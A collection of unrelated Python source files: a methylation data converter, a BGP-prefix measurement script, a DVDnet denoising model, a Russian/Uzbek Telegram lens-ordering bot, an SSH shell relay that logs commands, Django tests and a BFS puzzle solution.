                        print("ValueError in Chr %s, Time %s, Line %d :%s" % (chromosome, time_point, lid + 1, line))

        for site, dct in data_dict.items():
            vals = ["chr%s" % chromosome, str(site), str(site + 1)]
            for meth in range(2):
                for t_idx, time_point in enumerate(TIME_POINTS):
                    vals.append(str(dct[t_idx][meth]))
            ltw = "\t".join(vals) + "\n"
            ltws.append(ltw)

    mkdir(out_dir)
    outfp = os.path.join(out_dir, "AllDat.bed")
    with open(outfp, "w") as alldata_f:
        alldata_f.writelines(ltws)
    print("**!!FINISHED WRITING into %s !!**" % outfp)

def get_chrom_start_locis():
    chr_offset_sz = 1000000000
    chromosomes = ["chr%d" % j for j in range(1, 23)] + ["chrX", "chrY"]
    chrom_start_loci = {chrm: (i + 1) * chr_offset_sz for i, chrm in enumerate(chromosomes)}
    return chrom_start_loci

def convert_allDat_bed_to_mat(data_fp, out_fp):
    print("**!!START %s PROCESSING!!**" % data_fp)
    data_df = pd.read_csv(data_fp, sep="\t", header=None).values
    TIME_POINTS = ['0h', '1h', '4h', '16h']
    chrom_start_loci_dict = get_chrom_start_locis()
    data_dict = {}# the dict to temperatorily store reads information
    for item in data_df:
        chrom, start, end = item[0], item[1], item[2]
        site = chrom_start_loci_dict[chrom] + int(start)
        offset = 0
        if site not in data_dict.keys():
            data_dict[site] = np.zeros((len(TIME_POINTS), 2))
        for meth in range(2):
            for t_idx, time_point in enumerate(TIME_POINTS):
                data_dict[site][t_idx][meth] = int(item[3+offset])
                offset += 1
    sorted_site_data = sorted(data_dict.items())
    sites = []
    mat_data = []
    for site, reads in sorted_site_data:
        sites.append(site)
        mat_data.append(reads)
    mat_data = np.array(mat_data)
    MAT_DICT = {'AllDat': mat_data, 'sites': sites}
    sio.savemat(out_fp, MAT_DICT)
    print("**!!FINISHED %s PROCESSING!!**" % data_fp)
if __name__ == "__main__":
    args = parser.parse_args()
    # if len(sys.argv) <= 1:
    #     parser.print_help()
    # else:
    # data_dir = args.data_dir
    # out_dir = args.out_dir
    # construct_allDat_bed_file(data_dir, out_dir)
    regions = ["CGI", "Promoter",
                                "TFBR", "Exons", "Introns", "Intergenic", "5UTR", "3UTR",
                                "H2AZ", "LINE", "SINE", "LTR", "DNase", "Enhancer"]
    input_dir = "../data/AllDat/AllDat_Region_Intersect"
    output_dir = "../data/AllDat/AllDat_Region_Intersect_mat"
    mkdir(output_dir)
    for region in regions:
        input_fp = os.path.join(input_dir, "AllDat_%s.bed" % (region))
        output_fp = os.path.join(output_dir, "AllDat_%s.mat" % (region))
        convert_allDat_bed_to_mat(input_fp, output_fp)


#! /usr/local/bin/python3 -u

import os, sys
import csv
import json
import pyasn
from collections import defaultdict

from collections import namedtuple
DnetEntry = namedtuple('DnetEntry',['asn','bgp','s24'])

#vp_dir = '/data/workspace/data/test/test/vp_measurements/annotated/all'
vp_dir = '/data/workspace/data/4_19_2019/train/vp_measurements/annotated/all'
ipasnfile = '/data/workspace/bgpdumps/ipasn20181203.dat'
#target_prefix = '209.58.192.0/19'
#target_prefix = '88.176.0.0/12'
target_prefix = '180.69.0.0/16'

ipasn = pyasn.pyasn(ipasnfile)

def s24_of(target_ip):
    octets = target_ip.split('.')
    return ".".join(octets[:3]) + ".0/24"

def dnets_of(target_ip):
    try:
        return DnetEntry(*(ipasn.lookup(target_ip)), s24_of(target_ip))
    except:
        return DnetEntry('','','')

measurements_to_target_prefix_by_vp = defaultdict(list)
for vpcsv in os.listdir(vp_dir):
    vpname = vpcsv.replace('.csv','')
    print("opening file {}...".format(os.path.join(vp_dir, vpcsv)))
    with open(os.path.join(vp_dir, vpcsv), 'r') as f:
        next(f)
        r = csv.reader(f, delimiter=',')
        for measurement in r:
            #if dnets_of(measurement[0]).bgp == target_prefix:
            #    measurements_to_target_prefix_by_vp[vpcsv].append(measurement)
            #    print(measurement)
            if measurement[1] == target_prefix:
                measurements_to_target_prefix_by_vp[vpname].append(measurement)
                print(measurement)

with open('./gather_measurements_to_prefix.json', 'w') as f:
    json.dump(measurements_to_target_prefix_by_vp, f)


import torch
import torch.nn as nn

class DVDnet_spatial(nn.Module):
	""" Definition of the spatial denoiser of DVDnet.
	Inputs of forward():
		x: array of input frames of dim [N, C, H, W], (C=3 RGB)
		noise_map: array with noise map of dim [N, C, H, W], C (noise map for each channel)
	"""

	def __init__(self):
		super(DVDnet_spatial, self).__init__()
		self.down_kernel_size = (2, 2)
		self.down_stride = 2
		self.kernel_size = 3
		self.padding = 1
		# RGB image
		self.num_input_channels = 6
		self.middle_features = 96
		self.num_conv_layers = 12
		self.down_input_channels = 12
		self.downsampled_channels = 15
		self.output_features = 12

		self.downscale = nn.Unfold(kernel_size=self.down_kernel_size, stride=self.down_stride)

		layers = []
		layers.append(nn.Conv2d(in_channels=self.downsampled_channels,\
								out_channels=self.middle_features,\
								kernel_size=self.kernel_size,\
								padding=self.padding,\
								bias=False))
		layers.append(nn.ReLU(inplace=True))
		for _ in range(self.num_conv_layers-2):
			layers.append(nn.Conv2d(in_channels=self.middle_features,\
									out_channels=self.middle_features,\
									kernel_size=self.kernel_size,\
									padding=self.padding,\
									bias=False))
			layers.append(nn.BatchNorm2d(self.middle_features))
			layers.append(nn.ReLU(inplace=True))
		layers.append(nn.Conv2d(in_channels=self.middle_features,\
								out_channels=self.output_features,\
								kernel_size=self.kernel_size,\
								padding=self.padding,\
								bias=False))

		self.conv_relu_bn = nn.Sequential(*layers)
		self.pixelshuffle = nn.PixelShuffle(2)
		# Init weights
		self.reset_params()

	@staticmethod
	def weight_init(m):
		if isinstance(m, nn.Conv2d):
			nn.init.kaiming_normal_(m.weight, nonlinearity='relu')

	def reset_params(self):
		for _, m in enumerate(self.modules()):
			self.weight_init(m)

	def forward(self, x, noise_map):

		N, _, H, W = x.size() # compute size of input

		# Downscale input using nn.Unfold
		x1 = self.downscale(x)
		x1 = x1.reshape(N, self.down_input_channels, H//2, W//2)

		# Concat downscaled input with downsampled noise map
		x1 = torch.cat((noise_map[:, :, ::2, ::2], x1), 1)

		# Conv + ReLU + BN
		x1 = self.conv_relu_bn(x1)

		# Upscale back to original resolution
		x1 = self.pixelshuffle(x1)

		# Residual learning
		x = x - x1
		return x

class DVDnet_temporal(nn.Module):
	""" Definition of the temporal denoiser of DVDnet.
	Inputs of constructor:
		num_input_frames: int. number of frames to denoise
	Inputs of forward():
		x: array of input frames of dim [num_input_frames, C, H, W], (C=3 RGB)
		noise_map: array with noise map of dim [1, C, H, W], C (noise map for each channel)
	"""
	def __init__(self, num_input_frames):
		super(DVDnet_temporal, self).__init__()
		self.num_input_frames = num_input_frames
		self.num_input_channels = int((num_input_frames+1)*3) # num_input_frames RGB frames + noisemap
		self.num_feature_maps = 96
		self.num_conv_layers = 4
		self.output_features = 12
		self.down_kernel_size = 5
		self.down_stride = 2
		self.down_padding = 2
		self.conv1x1_kernel_size = 1
		self.conv1x1_stride = 1
		self.conv1x1_padding = 0
		self.kernel_size = 3
		self.stride = 1
		self.padding = 1

		self.down_conv = nn.Sequential(nn.Conv2d(in_channels=self.num_input_channels,\
												out_channels=self.num_feature_maps,\
												kernel_size=self.down_kernel_size,\
												padding=self.down_padding,\
												stride=self.down_stride,\
												bias=False),\
										nn.BatchNorm2d(self.num_feature_maps),\
										nn.ReLU(inplace=True))
		self.conv1x1 = nn.Conv2d(in_channels=self.num_feature_maps,\
											out_channels=self.num_feature_maps,\
											kernel_size=self.conv1x1_kernel_size,\
											padding=self.conv1x1_padding,\
											stride=self.conv1x1_stride,\
											bias=False)
		layers = []
		for _ in range(self.num_conv_layers):
			layers.append(nn.Conv2d(in_channels=self.num_feature_maps,\
									out_channels=self.num_feature_maps,\
									kernel_size=self.kernel_size,\
									padding=self.padding,\
									bias=False))
			layers.append(nn.BatchNorm2d(self.num_feature_maps))
			layers.append(nn.ReLU(inplace=True))

		self.block_conv = nn.Sequential(*layers)
		self.out_conv = nn.Sequential(nn.Conv2d(in_channels=self.num_feature_maps,\
											out_channels=self.num_feature_maps,\
											kernel_size=self.kernel_size,\
											padding=self.padding,\
											stride=self.stride,\
											bias=False),\
										nn.BatchNorm2d(self.num_feature_maps),\
										nn.ReLU(inplace=True),\
										nn.Conv2d(in_channels=self.num_feature_maps,\
											out_channels=self.output_features,\
											kernel_size=self.kernel_size,\
											padding=self.padding,\
											stride=self.stride,\
											bias=False))
		self.pixelshuffle = nn.PixelShuffle(2)
		# Init weights
		self.reset_params()

	@staticmethod
	def weight_init(m):
		if isinstance(m, nn.Conv2d):
			nn.init.kaiming_normal_(m.weight, nonlinearity='relu')

	def reset_params(self):
		for _, m in enumerate(self.modules()):
			self.weight_init(m)

	def forward(self, x, noise_map):
		x1 = torch.cat((noise_map, x), 1)
		x1 = self.down_conv(x1)
		x2 = self.conv1x1(x1)
		x1 = self.block_conv(x1)
		x1 = self.out_conv(x1+x2)
		x1 = self.pixelshuffle(x1)
		return x1


import json
import datetime
import re
import telebot
from dictionary import language
from authentication import is_login
from config import db, bot
from keyboards import *
from xml_parser import add_new_order, ParseCS, get_Nomenclature, ParseDoubleCS

class Keybord(object):
    list_keyboard = []
    value = {}

class KeybordUZ(object):
    list_keyboard = []
    value = {}

def get_orderHistory(mes,user,lang="ru"):
    try:
        dateFrom = mes.text.split("-")[0].split(".")
        dateTo = mes.text.split("-")[1].split(".")
        dateFromTS= int(datetime.datetime.timestamp(datetime.datetime(int(dateFrom[2]),
                                                                      int(dateFrom[1]),
                                                                      int(dateFrom[0]))))
        dateToTS = int(datetime.datetime.timestamp(datetime.datetime(int(dateTo[2]),
                                                                     int(dateTo[1]),
                                                                     int(dateTo[0]),23,59,59)))
        order = db.order_history.find({"code_partner":user['code'],"date_timestamp":{"$gte": dateFromTS, "$lt": dateToTS}})
        if order.count() == 0:
            bot.send_message(mes.chat.id, text=language[lang]['Нет заказов'])
            return
        list_order = f"{language[lang]['История заказов']}:\n"
        for post in order:

            list_order += f'{datetime.datetime.fromtimestamp(post["date_timestamp"]).strftime("%Y-%m-%d %H:%M:%S")}\n'
            for items in post['order']:
                list_order += f'{items["name"]}-{items["amount"]}\n'
        bot.send_message(mes.chat.id, text=list_order)
        return
    except:
        bot.send_message(mes.chat.id, text=language[lang]['Повторите запрос'])
        return

def orderHistory(message):
    if message.text == "Назад в главное меню":
        bot.send_message(message.chat.id, text=message.text, reply_markup=keyboardStartRU)
        return

    user = db.users.find_one({"name":message.text})
    if user:
        mes = bot.send_message(message.chat.id, text='Введите временной период ДД.ММ.ГГГГ-ДД.ММ.ГГГГ\n'
                                               'Например: 01.01.2021-01.02.2021')
        bot.register_next_step_handler(mes, get_orderHistory,user)

    bot.register_next_step_handler(message,orderHistory)

def get_text(list_lens,find,lang = "ru"):
    if find == 0:
        return f'{language[lang]["На складе нет таких линз"]}\n'
    else:
        if find == -1:
            return f'{language[lang]["Cклад обновляется, проведите запрос чуть позже"]}\n'
        else:
            if list_lens:
                text = ""
                for post in list_lens:
                    text = text + post+"\n"
                return text
    return

def get_KeyboardShoppingCart(current_user,lang = "ru"):
    shopping_cart = db.users.find_one({"name": current_user['user']})['shopping cart']
    if not shopping_cart:
        return
    keyboardSC = telebot.types.ReplyKeyboardMarkup(True)
    for index in range(len(shopping_cart)):
        keyboardSC.row(f'{index+1}. {shopping_cart[index]["name"]}')
    keyboardSC.row(language[lang]['Очистить все'])
    keyboardSC.row(language[lang]['Вернуться в корзину'])
    return keyboardSC

def delete_item(item:str,current_user):
    try:
        shopping_cart = db.users.find_one({"name": current_user['user']})['shopping cart']
        del_item = shopping_cart[int(item[:item.find('.')])-1]
        if del_item['name'] == item[item.find('.')+2:]:
            amount = del_item['amount'] - 1
            if amount == 0:
                db.users.update_one({"name": current_user['user']},
                                   {"$pull":{'shopping cart':{"Code":del_item['Code']}}})

            else:
                db.users.update_one({"name": current_user['user'], "shopping cart.Code": del_item['Code']},
                                    {"$set": {"shopping cart.$.amount": amount}})
            return 1
        return 0
    except:
        return 0

def get_shopping_cart(current_user,lang = "ru"):
    s_cart = db.users.find_one({"name": current_user['user']})
    if len(s_cart['shopping cart']) == 0:
        return language[lang]['Корзина пуста']
    if lang == "ru":
        offer = f"Заказчик {current_user['user']} \nВ корзине \n"
    else:
        offer = f"Буюртмачи {current_user['user']} \nСаватда жами \n"
    shopping_cart = s_cart['shopping cart']
    for index in range(len(shopping_cart)):
        offer += f"{index+1}. {shopping_cart[index]['name']} {language[lang]['количество']}: {shopping_cart[index]['amount']} \n"
    return offer

def add_offer(message,lang="ru"):
    if message.text == "Назад в главное меню":
        bot.send_message(message.chat.id, text=message.text, reply_markup=keyboardStartRU)
        return
    if message.text == "Бош менюга қайтиш":
        bot.send_message(message.chat.id, text=message.text, reply_markup=keyboardStartUZ)
        return

    current_user = is_login(message.chat.id)

    if message.text == "Убрать товары из корзины" or message.text =="Маҳсулотни саватдан олиб ташлаш":
        KeyboardShoppingCart = get_KeyboardShoppingCart(current_user,lang)
        bot.send_message(message.chat.id, text=language[lang]['Какой товар убрать из корзины?'], reply_markup=KeyboardShoppingCart)

    if message.text == "Оформить заказ" or message.text == "Буюртмани расмийлаштириш":
        if current_user:
            shopping_cart = db.users.find_one({"name":current_user['user']})['shopping cart']
            order = {"user":current_user['user'],
                    "order":shopping_cart,
                    "code_partner":current_user['code'],
                    "date":datetime.datetime.now().strftime('%H:%M - %d.%m.%Y'),
                    'date_timestamp': int((datetime.datetime.now()+datetime.timedelta(hours=5)).timestamp())}
            db.order_history.insert_one(order)
            db.users.update_one({"name": current_user['user']},
                                 {"$set": {"shopping cart": []}})
            add_new_order(order)
            moderator = db.subscribers.find_one({"user_name":"FaustGet"})
            if moderator:
                user_order = ""
                for item in shopping_cart:
                    user_order += f'{item.get("name")} - {item.get("amount")}\n '
                moderator_text = f'{current_user["user"]} оформили заказ \n{user_order}'
                bot.send_message(moderator['id_user'], text=moderator_text)
            if lang == "ru":
                bot.send_message(message.chat.id, text="Заказ оформлен", reply_markup=keyboardStartRU)
            else:
                bot.send_message(message.chat.id, text="Буюртма расмийлаштирилди", reply_markup=keyboardStartUZ)
        return

    if message.text == "Вернуться в корзину" or message.text == "Саватга қайтиш":
        offer = get_shopping_cart(current_user)
        if lang == "ru":
            bot.send_message(message.chat.id, offer,reply_markup=keyboardOfferRU)
        else:
            bot.send_message(message.chat.id, offer, reply_markup=keyboardOfferUZ)
        if offer == 'Корзина пуста' or offer == 'Сават бўш':
            return

    if message.text == "Очистить все" or message.text == 'Ҳаммасини тозалаш':
        if current_user:
            db.users.update_one({"name": current_user['user']},
                            {"$set": {"shopping cart": []}})
        if lang == "ru":
            bot.send_message(message.chat.id, "Корзина отчищена", reply_markup=keyboardStartRU)
        else:
            bot.send_message(message.chat.id, "Сават бўш", reply_markup=keyboardStartUZ)

        return

    message_text = check_lens(message,lang)
    if message_text:
        bot.send_message(message.chat.id, text=message_text,parse_mode="Markdown")

    if delete_item(message.text,current_user) == 1:
        bot.send_message(message.chat.id, text=language[lang]['Товар был удален из корзины'])
        offer = get_shopping_cart(current_user,lang)
        if offer == 'Корзина пуста':
            bot.send_message(message.chat.id, offer, reply_markup=keyboardStartRU)
            return
        if offer == 'Сават бўш':
            bot.send_message(message.chat.id, offer, reply_markup=keyboardStartUZ)
            return
        if lang =="ru":
            bot.send_message(message.chat.id, offer, reply_markup=keyboardOfferRU)
        else:
            bot.send_message(message.chat.id,  offer, reply_markup=keyboardOfferUZ)
        KeyboardShoppingCart = get_KeyboardShoppingCart(current_user,lang)
        bot.send_message(message.chat.id, text=language[lang]['Какой товар убрать из корзины?'], reply_markup=KeyboardShoppingCart)
    bot.register_next_step_handler(message,add_offer,lang)

def get_stock_availability(message,lang = "ru",keyb = None,list_keyb ={}):

    if keyb == None:
        keyb = telebot.types.ReplyKeyboardMarkup(True)
    try:
        message_text = f"{language[lang]['На складе были найдены следующие линзы']}:\n"
        message.text = message.text.replace("-0.00", "+0.00")
        message.text = message.text.replace("-0,00", "+0.00")
        message.text = message.text.replace(" 0,00", " +0.00")
        message.text = message.text.replace(" 0.00", " +0.00")
        if message.text[0:4] in ["0.00","0,00"]:
            message.text = "+0.00" + message.text[4:]
        if message.text[0:1] == "0":
            message.text = "+0.00" + message.text[1:]

        if " 0" in message.text:
            message.text = message.text.replace(" 0", " +0.00")
        if message.text == "0" or message.text == "0.00" or message.text == "0,00":
            message.text = "+0.00"

        if re.match('^[+-]\d[,.]\d\d? [+-]\d[,.]\d\d?$',message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            keyb = telebot.types.ReplyKeyboardMarkup(True)
            list_lens, find, keyb,list_keyb = ParseCS(value[0], value[1],keyb,lang)
            message_text += get_text(list_lens, find)

            keyb.row(language[lang]['Назад в главное меню'])

        if re.match('^[+-]\d[,.]\d\d?$',message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            keyb = telebot.types.ReplyKeyboardMarkup(True)
            list_lens, find, keyb,list_keyb = ParseCS(value[0], "+0.00",keyb,lang)
            message_text += get_text(list_lens, find)
            keyb.row(language[lang]['Назад в главное меню'])

        if re.match('[+-]\d[,.]\d\d? [+-]\d[,.]\d\d? [+-]\d[,.]\d\d?$', message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            keyb = telebot.types.ReplyKeyboardMarkup(True)
            list_lens, find, keyb,list_keyb = ParseDoubleCS(value[0], value[1], value[2], "+0.00", keyb,lang)
            message_text +=  get_text(list_lens, find)
            keyb.row(language[lang]['Назад в главное меню'])

        if re.match('[+-]\d[,.]\d\d? [+-]\d[,.]\d\d? [+-]\d[,.]\d\d? [+-]\d[,.]\d\d?$', message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            keyb = telebot.types.ReplyKeyboardMarkup(True)
            list_lens, find, keyb,list_keyb = ParseDoubleCS(value[0], value[1], value[2], value[3], keyb,lang)

            message_text +=  get_text(list_lens, find)
            keyb.row(language[lang]['Назад в главное меню'])

        if message.text == "Назад в главное меню":
            bot.send_message(message.chat.id, text=message.text, reply_markup=keyboardStartRU)
            return

        if message.text == "Бош менюга қайтиш":
            bot.send_message(message.chat.id, text=message.text, reply_markup=keyboardStartUZ)
            return

        list_nomenclature_info = get_Nomenclature(message.text,list_keyb)
        list_nomenclature_info=sorted(list_nomenclature_info,key=lambda x:x['Amount'])
        message_text_order = ""
        flag_amount = True

        for nomenclature_info in list_nomenclature_info:
            current_user = is_login(message.from_user.id)
            if current_user:
                partners = db.users.find_one({"name":current_user['user']})
                flag = False

                for post in partners['shopping cart']:
                    if post.get('Code') == nomenclature_info.get('Code') and flag_amount:
                        if int(nomenclature_info.get("Amount")) >= int(post.get('amount') + 1):
                            db.users.update_one({"name":current_user['user'], "shopping cart.Code":nomenclature_info.get("Code")},
                                                {"$set":{"shopping cart.$.amount":post.get('amount') + 1}})
                            flag = True
                            message_text_order += f"{language[lang]['В корзину были добавлены']}:\n{nomenclature_info.get('name')}\n" \
                                                  f"{language[lang]['Всего в корзине']}: {post.get('amount') + 1}\n "

                        else:
                            flag = True
                            flag_amount = False
                            message_text_order = language[lang]['В корзине максимальное количество линз данной модели']
                if not flag and flag_amount:
                    items = {"name": nomenclature_info.get("name"),
                             "Code": nomenclature_info.get('Code'),
                             "amount":1}
                    db.users.update_one({"name": current_user['user']},
                                        {"$push": {"shopping cart": items}})
                    message_text_order += f"{language[lang]['В корзину были добавлены']}:\n{nomenclature_info.get('name')}\n" \
                                          f"{language[lang]['Всего в корзине']}: 1\n"

            else:
                message_text_order = language[lang]['Вы не авторизованны']
        if message_text_order !="":
            message_text = message_text_order
        if message_text == f"{language[lang]['На складе были найдены следующие линзы']}:\n":
            message_text = language[lang]["Введен неправильный формат данных"]

        mes = bot.send_message(message.chat.id,message_text, reply_markup=keyb,parse_mode="Markdown")
        bot.register_next_step_handler(mes,get_stock_availability,lang,keyb,list_keyb)
    except:

        message_text = language[lang]["Введен неправильный формат данных"]

        mes = bot.send_message(message.chat.id, message_text, reply_markup=keyb)
        bot.register_next_step_handler(mes, get_stock_availability,lang, keyb,list_keyb)

def add_new_post(message):
    try:
        if message.text == "Меню":
            return
        if message.content_type == 'photo':
            fileID = message.photo[-1].file_id
            file_info = bot.get_file(fileID)
            downloaded_file = bot.download_file(file_info.file_path)
            for user in db.subscribers.find():
              bot.send_photo(user['id_user'],downloaded_file,caption=message.caption)
        if message.content_type == 'text':
            for user in db.subscribers.find():
              bot.send_message(user['id_user'],message.text)
        return
    except:
        return

def parsJson(data,lang = 'ru'):
    keyboard = telebot.types.ReplyKeyboardMarkup(True)
    list_obj = []
    for post in data:
        if "value" in data.get(post):
            k,l = parsJson(data.get(post).get("value"),lang)
            if lang == 'uz':
                KeybordUZ.list_keyboard.append({"name":post,"value":k,"message":l})

            else:
                Keybord.list_keyboard.append({"name": post, "value": k, "message": l})
        keyboard.row(post)
        list_obj.append({"name":post,"value":data.get(post)})
        if len(data.get(post)) != 2:
            if lang == 'uz':
                KeybordUZ.value[post] = data.get(post)
            else:
                Keybord.value[post] = data.get(post)
        if "message" in data.get(post):
            if data.get(post).get('message') != "":
               if lang == 'uz':
                   KeybordUZ.value[post] = data.get(post).get('message')
               else:
                   Keybord.value[post] = data.get(post).get('message')
    return keyboard,list_obj

def LoadInfo():
    with open('JsonLense.json', 'r', encoding='utf-8') as fh:  # открываем файл на чтение
        data = json.load(fh)
    parsJson(data)
    with open('JsonLenseUZ.json', 'r', encoding='utf-8') as fh:  # открываем файл на чтение
        data = json.load(fh)

    parsJson(data,'uz')
    return Keybord.list_keyboard

def LensInfo(message,lang='ru'):
    try:
        if lang == 'uz':
            kb = KeybordUZ
        else:
            kb = Keybord
        if message.text == 'Назад в главное меню':
            bot.send_message(message.chat.id, text="В главное меню", reply_markup=keyboardStartRU)
            return
        if message.text == 'Бош менюга қайтиш':
            bot.send_message(message.chat.id, text="Бош менюга ўтиш", reply_markup=keyboardStartUZ)
            return
        fl = False
        for post in kb.list_keyboard:
            if post.get('name') == message.text and not fl:
                if message.text in kb.value:
                    mes = bot.send_message(message.chat.id, text=kb.value.get(message.text), reply_markup=post.get('value'))
                    fl = True
                else:
                    mes = bot.send_message(message.chat.id,text=message.text, reply_markup=post.get('value'))
                    fl = True

        if message.text in kb.value:
            for post in kb.list_keyboard:
                if post.get('name') == kb.value.get(message.text) and not fl:
                    mes = bot.send_message(message.chat.id, text=kb.value.get(message.text),reply_markup=post.get('value'))
                    fl = True
            if not fl:
                mes = bot.send_message(message.chat.id, text=kb.value.get(message.text))
        message_text = check_lens(message,lang)
        if message_text:
            mes = bot.send_message(message.chat.id, text=message_text,parse_mode="Markdown")
        bot.register_next_step_handler(mes,LensInfo,lang)
    except:
        bot.register_next_step_handler(message,LensInfo,lang)

def check_lens(message,lang):
    try:
        message_text = f"{language[lang]['На складе были найдены следующие линзы']}:\n"
        message.text = message.text.replace("-0.00", "+0.00")
        message.text = message.text.replace("-0,00", "+0.00")
        message.text = message.text.replace(" 0,00", " +0.00")
        message.text = message.text.replace(" 0.00", " +0.00")
        if message.text[0:4] in ["0.00","0,00"]:
            message.text = "+0.00" + message.text[4:]
        if message.text[0:1] == "0":
            message.text = "+0.00" + message.text[1:]

        if " 0" in message.text:
            message.text = message.text.replace(" 0", " +0.00")
        if message.text == "0" or message.text == "0.00" or message.text == "0,00":
            message.text = "+0.00"

        keyb = telebot.types.ReplyKeyboardMarkup(True)
        find = 0
        if re.match('^[+-]\d[,.]\d\d? [+-]\d[,.]\d\d?$',message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            list_lens, find, keyb,list_keyb = ParseCS(value[0], value[1],keyb,lang)
            message_text += get_text(list_lens, find)
            if find != 1:
                return f'{language[lang]["На складе нет таких линз"]}\n'

        if re.match('^[+-]\d[,.]\d\d?$',message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            list_lens, find, keyb,list_keyb = ParseCS(value[0], "+0.00",keyb,lang)
            message_text += get_text(list_lens, find)
            if find != 1:
                return f'{language[lang]["На складе нет таких линз"]}\n'

        if re.match('[+-]\d[,.]\d\d? [+-]\d[,.]\d\d? [+-]\d[,.]\d\d?$', message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            list_lens, find, keyb,list_keyb = ParseDoubleCS(value[0], value[1], value[2], "+0.00", keyb,lang)
            message_text +=  get_text(list_lens, find)
            if find != 1:
                return f'{language[lang]["На складе нет таких линз"]}\n'

        if re.match('[+-]\d[,.]\d\d? [+-]\d[,.]\d\d? [+-]\d[,.]\d\d? [+-]\d[,.]\d\d?$', message.text):
            text = message.text.replace(",", ".")
            value = text.split()
            list_lens, find, keyb,list_keyb = ParseDoubleCS(value[0], value[1], value[2], value[3], keyb,lang)
            message_text +=  get_text(list_lens, find)
            if find != 1:
                return f'{language[lang]["На складе нет таких линз"]}\n'
        if find == 1:
            return message_text
        return False
    except:
        return False


import os,sys
import socket
import termios
import tty
from datetime import datetime
from modules.table_init import *
from modules.db_conn import session

def interactive_shell(channel, login_user, share_user, server_ip):
    import select
    oldtty = termios.tcgetattr(sys.stdin)
    try:
        tty.setraw(sys.stdin.fileno())
        tty.setcbreak(sys.stdin.fileno())
        channel.settimeout(0.0)

        cmd = ''

        tab_key = False
        while True:
            r, w, e = select.select([channel, sys.stdin], [], [])
            if channel in r:
                try:
                    x = channel.recv(1024).decode()
                    if tab_key:
                        if x not in ('\t','\r\n'):
                            cmd += x
                        tab_key = False
                    if len(x) == 0:
                        sys.stdout.write('\r\n*** EOF\r\n')
                        break
                    sys.stdout.write(x)
                    sys.stdout.flush()
                except socket.timeout:
                    pass
            if sys.stdin in r:
                x = sys.stdin.read(1)
                if '\r' != x:
                    cmd +=x
                if '\r' == x and len(cmd) > 0:
                    add_log = Cmd_log(login_user=login_user,
                            share_user=share_user,
                            server_ip=server_ip,
                            shell_command=cmd,
datetime=datetime.now().strftime("%Y-%m-%d %H:%M:%S"))
                    session.add(add_log)
                    session.commit()
                    cmd = ''
                if '\t' == x:
                    tab_key = True
                channel.send(x)
    finally:
        termios.tcsetattr(sys.stdin, termios.TCSADRAIN, oldtty)


import json

from django.test import TestCase

from tally_ho.apps.tally.models.sub_constituency import SubConstituency
from tally_ho.libs.tests.test_base import create_tally, create_ballot
from tally_ho.libs.utils.memcache import MemCache
from tally_ho.libs.utils.query_set_helpers import BulkCreateManager
from tally_ho.libs.utils.query_set_helpers import BulkUpdateManyToManyManager
from tally_ho.libs.tests.fixtures.sub_con_data import (
    sub_cons
)

class TestBulkUpdateManyToManyManager(TestCase):
    def setUp(self):
        self.tally = create_tally()
        ballot = create_ballot(self.tally)
        self.many_to_many_fields = { 'ballots': [ballot] }
        self.objects = []
        for sub_con_data in sub_cons:
            self.objects.append(SubConstituency(
                tally=self.tally,
                **sub_con_data
            ))
        # Bulk create sub cons
        manager = BulkCreateManager(
            objs_count=len(sub_cons),
        )
        for obj in self.objects:
            manager.add(obj)
        self.cache_key = 'test_cache_key'
        self.memcache_client = MemCache()
        self.memcache_client.delete(self.cache_key)

    def test_bulk_create(self):
        manager = BulkUpdateManyToManyManager(
            instances_count=len(sub_cons),
            cache_instances_count=True,
            cache_key=self.cache_key,
            memcache_client=self.memcache_client
        )

        # Add objects to the manager
        for obj in self.objects:
            manager.add({
                'instance': obj,
                'many_to_many_fields': self.many_to_many_fields,
            })
        # Ensure all sub con objects have been assigned a ballot
        self.assertEqual(
            SubConstituency.objects.filter(tally=self.tally).values(
                'ballots').count(),
            len(sub_cons))

        # Ensure cache is updated with the correct count
        memcache_data, _ = self.memcache_client.get(self.cache_key)
        cached_data = json.loads(memcache_data)
        self.assertEqual(
            cached_data.get('elements_processed'), len(sub_cons))
        self.assertTrue(cached_data.get('done'))

    def test_no_cache(self):
        manager = BulkUpdateManyToManyManager(instances_count=len(sub_cons))

        # Add objects to the manager
        for obj in self.objects:
            manager.add({
                'instance': obj,
                'many_to_many_fields': self.many_to_many_fields,
            })

        # Call the done method to create the remaining objects
        manager.done()

        # Ensure all sub con objects have been assigned a ballot
        self.assertEqual(
            SubConstituency.objects.filter(tally=self.tally).values(
                'ballots').count(),
            len(sub_cons))

    def test_chunk_size(self):
        manager = BulkUpdateManyToManyManager(chunk_size=5)

        # Add objects to the manager
        for obj in self.objects:
            manager.add({
                'instance': obj,
                'many_to_many_fields': self.many_to_many_fields,
            })

        # Call the done method to create the remaining objects
        manager.done()

        # Ensure all sub con objects have been assigned a ballot
        self.assertEqual(
            SubConstituency.objects.filter(tally=self.tally).values(
                'ballots').count(),
            len(sub_cons))


import sys
from collections import deque
input = sys.stdin.readline

def bfs(i, j):
    global n, size, ans
    visited = [[0] * n for _ in range(n)]
    q = deque()
    q.append((i, j, 0))
    grid[i][j] = 0
    visited[i][j] = True
    tmp = 0
    while q:
        i, j, t = q.popleft()
        if tmp:
            if t >= tmp:
                break
        for dire in dires:
            ni, nj = i+dire[0], j+dire[1]
            if 0 <= ni < n and 0 <= nj < n and not visited[ni][nj]:
                if not grid[ni][nj] or grid[ni][nj]==size:
                    visited[ni][nj]=True
                    q.append((ni, nj, t+1))
                elif grid[ni][nj] < size:
                    visited[ni][nj]=True
                    check.append((ni, nj))
                    tmp = t+1
    ans += tmp

n = int(input())
grid = [list(map(int, input().strip().split())) for _ in range(n)]
dires = [(-1, 0), (0, -1), (0, 1), (1, 0)]
for i in range(n):
    for j in range(n):
        if grid[i][j]==9:
            check = [(i, j)]

ans = 0
size = 2
eat = -1
while check:
    check.sort()
    si, sj = check[0][0], check[0][1]
    eat += 1
    grid[si][sj] = 0
    check = []
    if eat == size:
        size += 1
        eat = 0
    bfs(si, sj)
print(ans)


from typing import List, Optional
from enum import Enum

from pydantic import BaseModel, Field, NonNegativeFloat

class PipelineRunStatus(str, Enum):
    PENDING = "pending"
    RUNNING = "running"
    COMPLETED = "completed"
    FAILED = "failed"
